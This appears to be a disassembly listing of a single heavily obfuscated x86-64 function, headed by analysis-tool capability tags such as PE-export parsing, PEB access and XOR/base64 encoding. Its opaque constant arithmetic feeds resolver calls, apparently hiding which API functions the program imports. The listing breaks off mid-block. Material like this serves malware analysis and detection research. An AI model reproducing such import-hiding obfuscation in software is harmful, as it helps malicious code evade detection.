Function at 0x1400015ec
Capabilities:
Access peb ldr_data
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
movabs rbx, 0x6179d1834c1db021
xor edi, edi
movabs rax, 0xb4ec7e1e001d7eec
movabs r15, 0xe5a35cda88b18548
movabs r11, 0x81e36a40279fbb1e
mov rsi, qword [0x140301070]
imul rsi, rax
not rsi
movabs rcx, 0x7e1c95bfdeb817ba
mov rax, qword [0x140301060]
xor rax, rcx
and rsi, rax
ror rsi, 0x3a
shr rsi, 8
mov r13, qword [0x140301080]
movabs rax, 0x67b8532ecd8a5938
mov r9, r13
imul r9, rax
add r9, rbx
movabs rax, 0xcddc992b7fffffff
xor r9, rax
shr r9, 0x1f
not r9
movabs r8, 0x9e862e7cb3e24fdf
lea rcx, [r9 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rdx, [0x140301060]
movzx eax, r9b
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x3b
mov edx, 0x8000003f
and ecx, edx
jge 0x1400016e7
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r9
ror rax, cl
not rax
movabs rcx, 0x6fc3d6f0639e0738
mov r12, rax
imul r12, rcx
lea r10, [r12 + r8]
mov r8, r9
imul r8, rsi
sub r8, r10
xor r8, r15
movzx r14d, r10b
mov ecx, r14d
xor ecx, 4
and ecx, 0xf
and ecx, edx
jge 0x14000172a
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
movabs rcx, 0x620c962cedad6e38
imul rax, rcx
movabs rcx, 0x834383507589bbf
add rax, rcx
xor r8, rax
mov rax, r10
sub rax, qword [0x140301078]
xor r8, rax
xor r8, r11
mov rax, r8
movabs rcx, 0xd79435e50d79435f
and eax, 1
je 0x140001a44
sub rax, 1
je 0x140001946
sub rax, 1
movabs r14, 0xaaaaaaaaaaaaaaab
je 0x14000187b
cmp rax, 1
jne 0x140001ac6
mov r15, r10
imul r15, r9
movabs rax, 0x70f474bff9047395
add rax, r8
xor r15, rax
shr r15, 0xc
not r15
movabs rcx, 0x83575def3430
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x9e04ab04a5165b75
xor rdx, rax
movzx eax, r8b
movzx ecx, r15b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9050fd8d3
sub rax, r9
mov r9, rdx
xor r9, rax
mov rcx, r9
imul rcx, rbx
mov eax, 0xd4d40a39
add rcx, rax
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0xac7decc76dcad60e
sub rbx, r15
shr rbx, cl
movabs rcx, 0x9e8e5304da32cad5
add rcx, r12
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r13 + rcx*8]
imul rax, r8
sub rax, rsi
xor rbx, rax
jmp 0x140001ac6
movabs rcx, 0xaaaaaa1ad4cdf707
mov r9, r8
xor r9, rcx
movabs rcx, 0x1206ed16c02b4b
imul r9, rcx
movabs rcx, 0xffff7e8af2ddc5db
imul r12, rcx
movabs rcx, 0x6fa02cd39a413a3b
add r9, rcx
add r9, r12
movabs rax, 0x277cd7be061d2067
mov rcx, r9
xor rcx, rax
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, r9
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xffffffff819821d7
lea ecx, [r8 + 5]
and cl, 0x3f
rol r10, cl
movabs rax, 0x2c684d46e0000000
imul r10, rax
mov rcx, r10
ror rcx, 0x12
not rcx
movabs rax, 0x9b2de6b327c68900
imul rcx, rax
mov rax, r9
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140001ac6
movabs rax, 0xba0117147254cf
imul r8, rax
mov rax, rcx
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x1a5ca325774e7ab7
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
and r14d, 0x8000003f
jge 0x140001992
dec r14d
or r14d, 0xffffffc0
inc r14d
mov cl, r14b
rol r11, cl
movabs rcx, 0x9e862e7cb3e24fdf
add rcx, r8
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x11834c1db021
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a78809812a
or r11, rax
mov rbx, qword [0x140301070]
imul rbx, r15
sub rbx, r10
mov rax, rsi
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6d9018127
xor rbx, rax
mov rax, r8
imul rax, r10
imul rax, rbx
mov rdi, r9
sub rdi, rax
movabs rax, 0x78958941653cd3d
add rdi, rax
xor rdi, rsi
mov cl, r9b
add cl, cl
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140001ac6
imul r13, r8
and r13, qword [0x140301070]
mov rax, r11
mov r11, r13
xor r11, rax
ror r11, 0x1e
imul r11, r10
mov rdi, rsi
not rdi
imul rdi, r9
movabs rax, 0x7cd8a7de04f0d0c6
imul rdi, rax
imul rsi, qword [0x140301060], 0xfffffffff927aca4
mov rdx, qword [0x140301068]
sub rsi, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140001aa9
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rsi, cl
movabs rax, 0x9e862e7cb3e24fdf
add rsi, rax
add rsi, r12
movabs r14, 0xaaaaaaaaaaaaaaab
movabs rax, 0xff055d7bf4bbda0b
xor r15, rax
mov rax, r14
mul r15
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r15, rax
xor r11, rdi
lea rax, [0x140301060]
imul r11, qword [rax + r15*8]
not r10
imul r10, r8
imul r10, rsi
imul r10, rbx
movabs rcx, 0xf5ed7e87f30890d7
xor rcx, r9
not rcx
xor rcx, r10
sub rcx, r11
call fcn.14000118c
mov qword [0x14030af30], rax
movabs rbx, 0x5465ad56875d297f
movabs rax, 0x94c3000000000000
movabs r14, 0xf941c2f49050ebd0
mov r11, qword [0x140301080]
imul r11, rax
movabs rax, 0x42ec900000000000
xor r11, rax
mov r13, r11
imul r13, rbx
movabs r8, 0xaaaaaaaaaaaaaaab
mov rax, r8
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r9, r11
and r9, rbx
lea r10, [0x140301060]
imul r9, qword [r10 + rcx*8]
movabs rax, 0x640754ae31d4da20
imul r9, rax
shr r9, 3
movabs rax, 0x715c1047a10816d1
xor r9, rax
movabs rax, 0xffffff57ca985fe5
mov rdi, r11
imul rdi, rax
sub rdi, 0x25298b6
xor rdi, r9
xor rdi, qword [0x140301060]
mov rax, r9
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bc32be0c4
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0xa
shr rdi, 8
movabs r12, 0xab9a52a978a2d681
lea rcx, [r11 + r12]
xor rcx, 0xfffffffffda5ebc9
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x8442c53adf4c9a88
mov rsi, qword [r10 + rcx*8]
imul rsi, rax
add rsi, rbx
movabs rcx, 0xb99b1043a1e530c0
mov rax, r9
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r15, rsi
xor r15, r11
lea rcx, [rsi + r12]
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [r10 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xd5
and ecx, 0x8000003f
jge 0x140001c9a
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r9
imul r12, r15, 0xfffffffffdad674a
movabs r10, 0xab9a52a978a2d681
add r10, r12
mov r8, rsi
imul r8, rdi
sub r8, r10
xor r8, r14
mov cl, r10b
xor cl, 0xfa
and cl, 0xf
rol r8, cl
movabs rax, 0x6e054df22a7317b6
imul r15, rax
movabs rax, 0x3a76eaff1effed01
sub r15, rax
xor r8, r15
mov rax, r10
sub rax, qword [0x140301078]
xor r8, rax
xor r8, r9
xor r8, r11
mov rax, r8
xor rax, 0xfffffffffffffffe
movabs r15, 0xcccccccccccccccd
and eax, 3
je 0x14000204c
sub rax, 1
je 0x140001f22
sub rax, 1
je 0x140001e2d
cmp rax, 1
jne 0x1400020fd
mov r14, r10
imul r14, rsi
movabs rax, 0x288c740ea1e4a265
add rax, r8
xor r14, rax
ror r14, 0x32
shr r14, 0xc
xor r14, r11
not r14
movabs rcx, 0x835721daeec2
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xab18d7d1126318c5
xor rdx, rax
movzx eax, r8b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9793a023d
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
imul rcx, rbx
mov eax, 0xa8e1d0d7
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0x401a05b438871288
sub rbx, r14
shr rbx, cl
movabs rcx, 0xaba27731d308769d
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r13 + rcx*8]
imul rax, r8
sub rax, rdi
xor rbx, rax
jmp 0x1400020fd
movabs rax, 0xaaaaaa1aa8f82de9
mov rcx, r8
xor rcx, rax
movabs rax, 0x1206ed6af5f1a5
imul rcx, rax
movabs rdx, 0xfff17ca87f9a1b95
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a8ee81f35
imul r12, rax
movabs rsi, 0x784ee754338026ea
add rsi, rcx
add rsi, r12
movabs rax, 0x277cd7be7a28fa89
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rsi
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xfffffffffdadfb39
lea ecx, [r8 - 0x15]
and cl, 0x3f
rol r10, cl
movabs rax, 0xeff5e2bdeb550e77
xor r13, rax
movabs rax, 0x7c7a7dc694aaf188
and r13, rax
imul r10, r13
mov rcx, r10
ror rcx, 0x24
not rcx
movabs rax, 0x9b2de6b2d711e2b8
imul rcx, rax
mov rax, rsi
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x1400020fd
movabs rax, 0x36e780ca9ae7f1c1
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0xab9a52a978a2d680
mov rax, r11
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r9, rax
mov cl, r10b
and cl, 0x3f
rol r9, cl
movabs rcx, 0xab9a52a978a2d681
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffed56875d297f
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7f43c5bc4
or r9, rax
mov rbx, qword [0x140301070]
imul rbx, r14
sub rbx, r10
mov rax, rdi
sub rax, r9
xor rbx, rax
movabs rax, 0xc7a7c6a6a5345bc9
xor rbx, rax
mov rax, r15
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rbx
div rcx
mov rcx, rdx
mov rdx, r8
imul rdx, r10
imul rdx, rbx
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, r11
movabs r11, 0x78958946a6617d3
add r11, rax
xor r11, rdi
movzx eax, sil
imul ecx, eax, 0xec
and cl, 0x3f
rol r11, cl
not r11
jmp 0x1400020fd
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r8
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, r10
not rdi
imul rdi, rsi
movabs rax, 0x7cd8a7de78c50a28
imul rdi, rax
mov rax, r9
imul rax, r11
mov r11, rdi
xor r11, rax
imul rdi, qword [0x140301060], 0xfffffffffdad674a
mov rdx, qword [0x140301068]
sub rdi, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1400020ea
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0xab9a52a978a2d681
add rdi, rax
add rdi, r12
movabs rax, 0xff055d7b888e00e5
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r9, r11
lea rax, [0x140301060]
imul r9, qword [rax + r14*8]
not r10
imul r10, r8
imul r10, rdi
imul r10, rbx
movabs rcx, 0xf5ed7e878f3d4a39
xor rcx, rsi
not rcx
xor rcx, r10
sub rcx, r9
call fcn.14000145c
mov qword [0x14030af60], rax
movabs rsi, 0xf26cc28c5a92d7f7
movabs rbx, 0x1d014461f3e3d0b5
movabs rax, 0x75dba9f4e5061a30
mov r11, qword [0x140301078]
imul r11, rax
movabs rax, 0xed8a9dcde7eecb10
xor r11, rax
mov rcx, r11
imul rcx, rbx
mov qword [rsp + 0x30], rcx
movabs r8, 0xaaaaaaaaaaaaaaab
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
and r9, rbx
lea r10, [0x140301060]
imul r9, qword [r10 + rcx*8]
movabs rax, 0x671d43f8cd557702
imul r9, rax
shr r9, 3
movabs rax, 0x33173db03fdf514e
xor r9, rax
movabs rax, 0xffffff57ca129d9d
mov r14, r11
imul r14, rax
sub r14, 0x1c74b72
xor r14, r9
xor r14, qword [0x140301060]
mov rax, r9
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bc3a122bc
imul rax, rcx
not rax
and r14, rax
ror r14, 0x38
shr r14, 8
movabs r12, 0xe2febb9e0c1c2f4b
lea rcx, [r11 + r12]
xor rcx, 0xfffffffffd2f29b1
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x70ac05b30e267de8
mov rdi, qword [r10 + rcx*8]
imul rdi, rax
add rdi, rbx
movabs rcx, 0x9d76ea7d3941868c
mov rax, r9
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r15, rdi
xor r15, r11
lea rcx, [rdi + r12]
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [r10 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xad
mov eax, 0x8000003f
and ecx, eax
jge 0x1400022db
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r9
imul r13, r15, 0xfffffffffe38b48e
lea r10, [r12 + r13]
mov r8, rdi
imul r8, r14
sub r8, r10
xor r8, rsi
movzx r12d, r10b
mov ecx, r12d
xor ecx, 2
and ecx, 0xf
and ecx, eax
jge 0x140002315
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
movabs rax, 0x2c4e6005b4b50866
imul r15, rax
movabs rax, 0x65489a1d69249ff9
sub r15, rax
xor r8, r15
mov rax, r10
sub rax, qword [0x140301078]
xor r8, rax
xor r8, r9
xor r8, r11
mov rax, r8
and eax, 1
xor rax, 2
je 0x1400026a5
sub rax, 1
je 0x140002562
sub rax, 1
je 0x140002468
cmp rax, 1
jne 0x140002756
mov rsi, r10
imul rsi, rdi
movabs rax, 0x8e19465e995661ff
add rax, r8
xor rsi, rax
ror rsi, 2
shr rsi, 0xc
xor rsi, r11
not rsi
movabs rcx, 0x835721502cba
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xe27c3ee666572377
xor rdx, rax
movzx eax, sil
movzx ecx, r8b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db979b0c045
sub rax, rdi
mov rdi, rdx
xor rdi, rax
mov rcx, rdi
imul rcx, rbx
mov eax, 0xa86b12af
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x140301060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rbx, 0xeff00c9f5308bb6
sub rbx, rsi
shr rbx, cl
movabs rcx, 0xe306e026670b91af
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r12 + rcx*8]
imul rax, r8
sub rax, r14
xor rbx, rax
jmp 0x140002756
movabs rax, 0xaaaaaa1aa872ef91
mov rcx, r8
xor rcx, rax
movabs rax, 0x1206ed6a7f33dd
imul rcx, rax
movabs rdx, 0xfff17ca87f10d9ed
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a8e62dd4d
imul r13, rax
movabs rdi, 0xe2fb0afc3c66d5dc
add rdi, rcx
add rdi, r13
movabs rax, 0x277cd7be7aa238f1
mov rcx, rdi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rdi
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xfffffffffd273941
lea ecx, [r8 + 0x13]
and cl, 0x3f
rol r10, cl
movabs rcx, 0xf7ada7396bdfcc0f
mov rax, qword [rsp + 0x30]
xor rax, rcx
movabs rcx, 0x7c7a7dc6942033f0
and rax, rcx
imul r10, rax
mov rcx, r10
ror rcx, 0x3b
not rcx
movabs rax, 0x9b2de6b2d53aeb58
imul rcx, rax
mov rax, rdi
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140002756
movabs rax, 0x58d657d35aa88b5
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0xe2febb9e0c1c2f4a
mov rax, r11
imul rax, rdx
xor rax, rsi
not rax
shl rax, cl
xor r9, rax
and r12d, 0x8000003f
jge 0x1400025bc
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r9, cl
movabs rcx, 0xe2febb9e0c1c2f4b
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x461f3e3d0b5
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7f4b699bc
or r9, rax
mov rbx, qword [0x140301070]
imul rbx, rsi
sub rbx, r10
mov rax, r14
sub rax, r9
xor rbx, rax
movabs rax, 0xc7a7c6a6a5be99b1
xor rbx, rax
movabs rax, 0xcccccccccccccccd
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rbx
div rcx
mov rcx, rdx
mov rdx, r8
imul rdx, r10
imul rdx, rbx
shr rdx, cl
mov rax, rdi
sub rax, rdx
sub rax, r11
movabs r11, 0x78958946aecd5ab
add r11, rax
xor r11, r14
mov al, dil
shl al, 2
lea ecx, [rax + rdi]
shl cl, 2
and cl, 0x3f
rol r11, cl
not r11
jmp 0x140002756
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r8
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, r10
not r14
imul r14, rdi
movabs rax, 0x7cd8a7de784fc850
imul r14, rax
mov rax, r9
imul rax, r11
mov r11, r14
xor r11, rax
imul r14, qword [0x140301060], 0xfffffffffe38b48e
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140002743
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xe2febb9e0c1c2f4b
add r14, rax
add r14, r13
movabs rax, 0xff055d7b8804c29d
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r9, r11
lea rax, [0x140301060]
imul r9, qword [rax + rsi*8]
not r10
imul r10, r8
imul r10, r14
imul r10, rbx
movabs rcx, 0xf5ed7e878fb78841
xor rcx, rdi
not rcx
xor rcx, r10
sub rcx, r9
call fcn.140001288
mov qword [0x14030af90], rax
movabs rsi, 0xd57db8cd52902005
movabs rbx, 0x48ecb497d9394df1
xor edi, edi
movabs rax, 0xbf4d74a8fc4f400a
movabs r11, 0x41ea712cf8d2819d
mov r13, qword [0x140301070]
mov r14, r13
imul r14, rax
not r14
movabs rcx, 0xbe158ed300e95a9d
mov rax, qword [0x140301060]
xor rax, rcx
and r14, rax
ror r14, 0x12
shr r14, 8
movabs rax, 0xdf585c246c6a2200
mov r10, r13
imul r10, rax
add r10, rbx
movabs rax, 0xbab6d81a7fffffff
xor r10, rax
shr r10, 0x1f
not r10
movabs r8, 0xb7134b6826c6b20f
lea rcx, [r10 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 3
and ecx, 0x8000003f
jge 0x140002890
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r10
ror rdx, cl
not rdx
movabs rax, 0x3c683d530c104f00
mov r15, rdx
imul r15, rax
add r8, r15
mov r9, r10
imul r9, r14
sub r9, r8
xor r9, rsi
mov cl, r8b
xor cl, 0xfc
and cl, 0xf
rol r9, cl
mov rax, r8
mov r12, qword [0x140301078]
sub rax, r12
xor r9, rax
movabs rax, 0xae75d167da1d5f00
imul rdx, rax
movabs rax, 0x2c20f2bba0f3231f
add rdx, rax
xor r9, rdx
xor r9, r11
mov rax, r9
and eax, 1
je 0x140002bd0
sub rax, 1
je 0x140002ae3
sub rax, 1
je 0x140002a11
cmp rax, 1
jne 0x140002c4b
mov rsi, r8
imul rsi, r10
movabs rax, 0x324d9167bfba3afd
add rax, r9
xor rsi, rax
ror rsi, 0x28
shr rsi, 0xc
not rsi
movabs rcx, 0x83571d57b118
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xb791ce10708a239d
xor rdx, rax
movzx eax, sil
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db945b75deb
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rbx
mov eax, 0x946c8f01
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0x80184c346403469e
sub rbx, rsi
shr rbx, cl
movabs rcx, 0xb71b6ff08dafb1dd
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rbx, rax
jmp 0x140002c4b
movabs rcx, 0xaaaaaa1a9475723f
mov r10, r9
xor r10, rcx
movabs rcx, 0x1206ed5678ae73
imul r10, rcx
movabs rcx, 0xffff7e8ab26540e3
imul r15, rcx
movabs rcx, 0x96982a5ab33e1e52
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be46a5a55f
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r10
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xffffffffc120a4ef
lea ecx, [r9 - 3]
and cl, 0x3f
rol r8, cl
movabs rax, 0x542879c600000000
imul r8, rax
mov rcx, r8
ror rcx, 0x27
not rcx
movabs rax, 0x9b2de6b225249de0
imul rcx, rax
mov rax, r10
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140002c4b
movabs rax, 0x2b49519d4cebde57
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x2a824732ad6fdffa
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r8b
rol r11, cl
movabs rcx, 0xb7134b6826c6b20f
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff497d9394df1
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7c8b10412
or r11, rax
mov rbx, r13
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a699b9041f
xor rbx, rax
mov rax, r9
imul rax, r8
imul rax, rbx
mov rdi, r10
sub rdi, rax
movabs rax, 0x789589456eb4805
add rdi, rax
xor rdi, r14
movzx eax, r10b
imul ecx, eax, 0xfa
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140002c4b
mov rcx, r9
imul rcx, qword [0x140301080]
and rcx, r12
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x1d
imul r11, r8
mov rdi, r14
not rdi
imul rdi, r10
movabs rax, 0x7cd8a7de444855fe
imul rdi, rax
imul r14, qword [0x140301060], 0xfffffffff83bdb00
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140002c38
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xb7134b6826c6b20f
add r14, rax
add r14, r15
movabs rax, 0xff055d7bb4035f33
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x140301060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e87b3b015ef
xor rcx, r10
not rcx
xor rcx, r8
sub rcx, r11
call fcn.140001144
mov qword [0x14030af58], rax
movabs rsi, 0x650b76eec800a94f
movabs rbx, 0xc960e07e0250b931
xor edi, edi
movabs rax, 0x4de3068c3e9aaf4e
movabs r11, 0xb71fd758a9df7175
mov r14, qword [0x140301070]
imul r14, rax
not r14
movabs rcx, 0x48e028a748156035
mov r13, qword [0x140301060]
mov rax, r13
xor rax, rcx
and r14, rax
ror r14, 0x16
shr r14, 8
mov r12, qword [0x140301080]
movabs rax, 0xf4e22c3bd1803c80
mov r10, r12
imul r10, rax
movabs r8, 0x369f1f81fdaf46cf
sub r10, r8
movabs rax, 0x95807f8dffffffff
xor r10, rax
shr r10, 0x1f
not r10
lea rcx, [r10 + r8]
